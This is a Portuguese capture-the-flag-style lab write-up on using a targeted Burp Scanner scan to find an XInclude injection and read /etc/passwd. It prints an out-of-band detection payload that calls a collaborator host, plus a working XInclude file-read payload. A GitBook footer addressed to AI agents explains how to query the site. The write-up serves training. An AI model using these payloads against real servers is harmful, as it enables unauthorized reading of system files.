> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/essential-skills/fast-detection-with-targeted-scanning.md).

# Detecção Rápida com Varredura Direcionada

### Descobrindo vulnerabilidades rapidamente com varredura direcionada

#### Contexto do laboratório

Este laboratório contém uma vulnerabilidade que permite **ler arquivos arbitrários no servidor**. / O objetivo é **recuperar o conteúdo do `/etc/passwd` arquivo em menos de 10 minutos**.

Devido a essa restrição de tempo, recomenda-se usar **Burp Scanner** em vez de uma auditoria completa da aplicação.

#### Restrição de tempo

* Um \*\*cronômetro de 10 minutos\*\* está ativo desde o início do laboratório.
* Uma varredura completa do site pode ser lenta demais.
* Portanto, é preferível **direcionar de forma inteligente os pontos de entrada potencialmente vulneráveis**.

<figure><img src="/files/7a79b0da2ef98acfb5d64d5dfe15b8f4ec2f7b5b" alt=""><figcaption></figcaption></figure>

#### Metodologia

1. **Interceptar uma solicitação HTTP relevante** com o Burp Proxy.

<figure><img src="/files/24931a749d00d4ec1dcdd028621cf2f5767291ce" alt=""><figcaption></figcaption></figure>

Analise rapidamente a lógica da consulta para identificar um endpoint interessante.

Execute uma varredura direcionada via **Burp Scanner** nesta consulta específica.

<figure><img src="/files/2d7c56727ff33d40b3e4ae75abea4c00aef98df1" alt=""><figcaption></figcaption></figure>

#### Configuração da varredura no Burp

* Tipo de varredura selecionado: **Rastrear e auditar**

<figure><img src="/files/f972fe7f046e7bda74a096beb3ba8ad1707ce2a5" alt=""><figcaption></figcaption></figure>

* Modo : **Varredura rápida**

Objetivo: identificar rapidamente um vetor de ataque explorável

<figure><img src="/files/fc4694016db3ac6bdedb1cd1f9ec1a7e8bbc12b3" alt=""><figcaption></figcaption></figure>

#### Vulnerabilidade identificada

A varredura revela uma vulnerabilidade do tipo **Injeção de XML (XInclude)**.

<figure><img src="/files/886b5e35efe5dd216dd5e9d6353f1c50ccde0a95" alt=""><figcaption></figcaption></figure>

Payload inicial detectado pelo Burp Scanner:

{% code overflow="wrap" %}

```xml
<oid xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://mrh1ja6l5f029m1pdnomovjvomufik6ludh35s.oastify.com/foo"/></oid>
```

{% endcode %}

Isso confirma que o servidor processa **XInclude** entidades sem restrições.

#### Exploração: leitura de `/etc/passwd`

O payload é modificado para incluir um arquivo local do sistema:

{% code overflow="wrap" %}

```http
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>
id>&storeId=1
```

{% endcode %}

<figure><img src="/files/6af44c19adeee5ae63ef32d24804441ad57e5a34" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/essential-skills/fast-detection-with-targeted-scanning.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
